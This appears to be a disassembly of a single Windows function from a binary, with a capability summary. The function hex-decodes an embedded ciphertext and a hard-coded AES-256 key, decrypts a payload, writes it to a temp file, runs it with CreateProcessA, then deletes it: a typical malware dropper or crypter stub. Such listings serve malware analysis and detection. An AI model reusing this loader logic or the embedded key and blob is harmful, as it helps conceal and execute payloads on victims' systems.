Function at 0x40164e
Capabilities:
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
mov qword [rbp + 0x328], rdx
mov qword [rbp + 0x330], r8
mov dword [rbp + 0x338], r9d
mov rcx, qword [str.d2477e434dc018facea11d48c4ea98b647c1656fbbae4c2ed86d956b69961bbbf566547c9ac88deec6c2ae883bede334d8c6310338c19ee7c9dd6706384f67e159bca24e3a020f06f62488f15b61f902f104bdece6ff52934e176f6e64efd7dd06a49b828336e595748f9dc242bd34d0be89803cef016821c2373ec14b020047ffa72d9592f6e07c8ef2d31b349889e8c227c4f222771fee3740c22fb3d472ef4e77c30081f7648faa277a5c8d468f7b20c3e957b2c5d6055e6a3e6e5483d70f2128171cd2fd0b43e401f94bb0b6ae68e3c83675a192ea731f7179d18332408301b35538107104472b3ca44b32c6cdb35348776594d8207faa20591c0464383147c4b9a54b9525ea59dea224cf49cbdedb9f757ae3c87afdeaca62f98374edb326461f60956fdd12ec5afbfe1fe66db87348eef805a586e6a36474db848e50c3d36ba3fe88805cb041aa4d26c943af60e029912f10626218100fbee9470f00fbed92a75ff5b31e5b463a169e7706a8048337cb623f31d0a4f496717dde024f537eac26be884ef9dbc703b82e47ec4fd5b99bcbc3984a194208ba5e4c1132d176049ca2e299d8db6b5f1e3d1f632148f4d0aa677fafd69edacefc88ccfec7b1cdde150f920fb9338e7bd64206f8db6b6c168141aa1afe438253a7181d94774df9d688b1f78833d4f10b6be2348284b24204c924d48e08f4bd94e41a263a8d5484aab4f270dd3fd748a58a8ccbf172a05a461852aee04c82073f16b5ceae2c8d394314c1e3a7baac7d9ade431e1780c13a1f731c6f002a08b486bb161c440948fb8a851d6a89a0cb09db303a193388bbb6476ca27d0a7f06f7b87c1c5c8fe312dcb98c9c8f00d59fdfa944c8cf132b4a431518dc45f47d200f61e3f3906731ca8a3f0b3bc47a6080011f26068e1ce5d640a530652c466480e986bbc8beaf0c9d1489f22d134aa55a059666664645e4d475339ccf125b0428852315435c8da2cd8b95eee172a9f65a805ef261187e80726d28e74238dd94b3506a3eeb19e28560656ae3da327cfbe72d6570f9999dc4cac876b760b1a4a78fb24fecabce341bac105dc3e9ea70034317bd9fe12807aaddd233a748615ea7ad04ac1f109d1c7d6913596c4c44fccc5fa31a4d9d6c539443f2ca247e239241764c7b6347dd7d973f2c6da1b0b286dd04212df9d026b364ab3980a2bf814414777edb61203e1ad5d142f3696957091557bcda2fb68429ef76e897169fb431c028b731b519d23994874290d0913e6fd6b47654310cb763e8230f8c121ea73c3603bfb3ca2dba5107d30e5202ff888411b41eb350603c6834fab771c4197831575547a01e1619bcabcf2c39ce0a0ece6aa514a9e3432ff5d1b0bf2767ea94a2502d2baff5a2df0cbed27fb4dcb0fbd38a7148b79a75ab127cb35bd70aae2fccd7de49e65d8b7206d316359d9f51977cddc2b631b572ec451d8776fb5b25376fdeca1860e5ff31d72956745466d268b5f86e4971407aab1b3fbb8e8203a62bd12c2045e9ebc2e5aec26bbed6fe50cc86b6f5b57021b21358afcabdb6e7fd407dea41ce012ba0369679fc4aa56fc5a937ea4aa9d037914b910a7bb548ec234c8ed0b1f0a52ae28459cb49fbbe72c99b7967a2dc96a1d68a63c7a5049e6248e432942f1b47f11d9babf075ff79576bc5195e069d3bba4335a68b79eacbb172fe0b06ddbcf50b01d5f2d2735f7b58edd5e287c05787f94c6507baf86624058d56b1a933d246dc98eebc032de7ba241d206f2e8b17de4a5d787d9f41132a52b941247f030eee742bddadd9d80cf524be2e145421587ef64761a5927beb11af35eb25bd4f7afd56abc815cea8cf1989bd158fa9b1b3c5676cb9007bfb3ce9e69d1c37909ac4ce7f7423ab56f11361bae1a69028f0144d0fd8c8fe4a14e43fa1979e49c29afbffe1de0a33542330ffeeb2454f94b2f2582bc0292de721551f4a2ab2359eb13b07eeeaeb6f50fe47bc198ada43b5f6f4bf398eb923f8d24c1205dd6a101ed76ac9e63b24477dee4e6f0c3e528ee4b54a9d78e4d707d076340ec105324785215aa74782a2f3cf4dd74df6306b291c7aa842158e5059c09ca445ce3d73deac70249e8e6c8f1820c1b90d29163237944fca8d67b3bebabccd9f6dacea0060ba371a41c86965292eba0e9186ae04230043b211d2503ca4459eeed0cad3a6f0035b77a26c26eb563288b3b9bb2fb330eb9fc9477dadd572bdb8446c94c15307f51022f047f5e63041d37cc3f367e8a7afd2879a8ae65c978bfc83e3392cd379fb721ed9076d595f641d5319bfbe3979ced2ec654dc290a059ef797e1ededb2e7e04987056ab80a1dcfa55f5005410900130634e123f58d64835ed5a55fc7113fa1b005046c8d05a05410b37b3c0c7a590bbeaef1e4c0ba93f01362745ddbbc50cfc4b7e4036cf8a61ff8ebfee46ca3016ad6898f38eeab579989013bb963eb8a3f216298df6c58a91e947449a03bdb3e5b57a57e3db7f2840adebba0a688eba7b67e163516aeb2ff06e2d7f88f43b6244a63873aa9d9c193f48b04472f31d578c0001f0a4b8c46f543f9dbf69997d43b2e60436528a70a99353b271204a3e3e911eb5a59f74ac22a49d84b79494892f2d51d2580bb427ac62ca827d99ae8d3610665fc94bbfbcd51fb9b7ff3ace610d175af4f81e329dad80c2c6aa5c804765e1bedf01a5714e4e769022be01fc286be041d5b3a2564494b3c739128a6ba6bff97d81c7c81a770b10a383dfe40e04ed40d5ebe7d064fdfcfb73e2c2b9587b99cfa4ca9e100c0f57c2721ee3ebe2803a7f1c4904abf60513e3d65a2f7deab238d10cd5fd6135064d99ba9697ce192425347abeb3fc6b5d5004e9cb95e0d070959c51191b4bb25021960062]
lea rax, [rbp + 0x2a8]
mov rdx, rax
call sym.hex_to_bytes
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0
jne 0x4016b8
lea rcx, str.Erreur_lors_de_la_conversion_du_ciphertext.
call sym.puts
mov eax, 0xffffffff
jmp 0x402021
mov rcx, qword [str.6dcd3b5b5af1c28e91790f7b6e0325a327ca12b4248cb9ae00c4a39285a9912d]
lea rax, [rbp + 0x2a0]
mov rdx, rax
call sym.hex_to_bytes
mov qword [rbp + 0x2f0], rax
cmp qword [rbp + 0x2f0], 0
jne 0x401704
lea rcx, str.Erreur_lors_de_la_conversion_de_la_cl.
call sym.puts
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2a0]
cmp rax, 0x20
je 0x40174f
mov rax, qword [rbp + 0x2a0]
mov rdx, rax
lea rcx, str.Taille_de_la_cl_invalide._Attendu:_32_octets__obtenu:__zu_octets._n
call sym.printf
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2a8]
cmp rax, 0x1b
ja 0x401790
lea rcx, str.Donnes_chiffres_insuffisantes.
call sym.puts
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2f8]
mov rdx, qword [rax]
mov qword [rbp + 0x294], rdx
mov eax, dword [rax + 8]
mov dword [rbp + 0x29c], eax
mov rax, qword [rbp + 0x2a8]
sub rax, 0x1c
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2e0], rax
cmp qword [rbp + 0x2e0], 0
jne 0x401810
lea rcx, str.Erreur_lors_de_lallocation_de_ciphertext
call sym.perror
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2f8]
lea rdx, [rax + 0xc]
mov rcx, qword [rbp + 0x2e8]
mov rax, qword [rbp + 0x2e0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x2e8]
lea rdx, [rax + 0xc]
mov rax, qword [rbp + 0x2f8]
add rax, rdx
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rdx
call sym.EVP_CIPHER_CTX_new
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x2d8], 0
jne 0x4018d3
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x3b
mov edx, 1
lea rcx, str.Erreur_lors_de_la_cration_du_contexte_de_dchiffrement._n
call sym.fwrite
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
call sym.EVP_aes_256_gcm
mov rdx, rax
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call sym.EVP_DecryptInit_ex
cmp eax, 1
jne 0x40195b
mov rax, qword [rbp + 0x2d8]
mov r9d, 0
mov r8d, 0xc
mov edx, 9
mov rcx, rax
call sym.EVP_CIPHER_CTX_ctrl
cmp eax, 1
jne 0x40195b
mov rdx, qword [rbp + 0x2f0]
mov rcx, qword [rbp + 0x2d8]
lea rax, [rbp + 0x294]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0
mov edx, 0
call sym.EVP_DecryptInit_ex
cmp eax, 1
je 0x4019c9
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.Erreur_lors_de_linitialisation_du_dchiffrement._n
call sym.fwrite
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x2d0], rax
cmp qword [rbp + 0x2d0], 0
jne 0x401a3b
lea rcx, str.Erreur_lors_de_lallocation_de_decrypted_data
call sym.perror
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2e8]
mov r9d, eax
mov r8, qword [rbp + 0x2e0]
lea rcx, [rbp + 0x27c]
mov rdx, qword [rbp + 0x2d0]
mov rax, qword [rbp + 0x2d8]
mov dword [rsp + 0x20], r9d
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.EVP_DecryptUpdate
cmp eax, 1
je 0x401af6
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x32
mov edx, 1
lea rcx, str.Erreur_lors_de_la_mise__jour_du_dchiffrement._n
call sym.fwrite
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov eax, dword [rbp + 0x27c]
mov dword [rbp + 0x2cc], eax
lea rdx, [rbp + 0x280]
mov rax, qword [rbp + 0x2d8]
mov r9, rdx
mov r8d, 0x10
mov edx, 0x11
mov rcx, rax
call sym.EVP_CIPHER_CTX_ctrl
cmp eax, 1
je 0x401ba8
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x26
mov edx, 1
lea rcx, str.Erreur_lors_de_la_dfinition_du_tag._n
call sym.fwrite
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov eax, dword [rbp + 0x27c]
cdqe
mov rdx, qword [rbp + 0x2d0]
add rdx, rax
lea rcx, [rbp + 0x27c]
mov rax, qword [rbp + 0x2d8]
mov r8, rcx
mov rcx, rax
call sym.EVP_DecryptFinal_ex
mov dword [rbp + 0x2c8], eax
cmp dword [rbp + 0x2c8], 0
jle 0x401c2b
mov eax, dword [rbp + 0x27c]
add dword [rbp + 0x2cc], eax
lea rcx, str.Dchiffrement_russi.
call sym.puts
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
lea rax, [rbp + 0x170]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x401cde
jmp 0x401c8c
lea rcx, str.Erreur_de_dchiffrement._Tag_invalide.
call sym.puts
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
lea rcx, str.Erreur_lors_de_lobtention_du_chemin_temporaire.
call sym.puts
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x170]
mov r9, rdx
mov r8d, 0
lea rdx, [0x0073a381]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call rax
test eax, eax
jne 0x401d5b
lea rcx, str.Erreur_lors_de_la_cration_du_fichier_temporaire.
call sym.puts
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
lea rax, [rbp + 0x60]
lea rdx, [0x0073a3bb]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x2c0], rax
cmp qword [rbp + 0x2c0], 0
jne 0x401dd1
lea rcx, str.Erreur_lors_de_louverture_du_fichier_temporaire_pour_criture
call sym.perror
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov eax, dword [rbp + 0x2cc]
movsxd rdx, eax
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rbp + 0x2d0]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp + 0x2b8], rax
mov eax, dword [rbp + 0x2cc]
cdqe
cmp qword [rbp + 0x2b8], rax
je 0x401e74
lea rcx, str.Erreur_lors_de_lcriture_des_donnes_dchiffres
call sym.perror
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0x60]
mov rdx, rax
lea rcx, str.Donnes_dchiffres_crites_dans_:__s_n
call sym.printf
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x10], 0x68
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x401f9b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x2b4], eax
mov eax, dword [rbp + 0x2b4]
mov edx, eax
lea rcx, str.Erreur_lors_de_lexcution_de_lexcutable_dchiffr._Code_derreur_:__lu_n
call sym.printf
lea rax, [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0xffffffff
jmp 0x402021
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x388
pop rdi
pop rbp
ret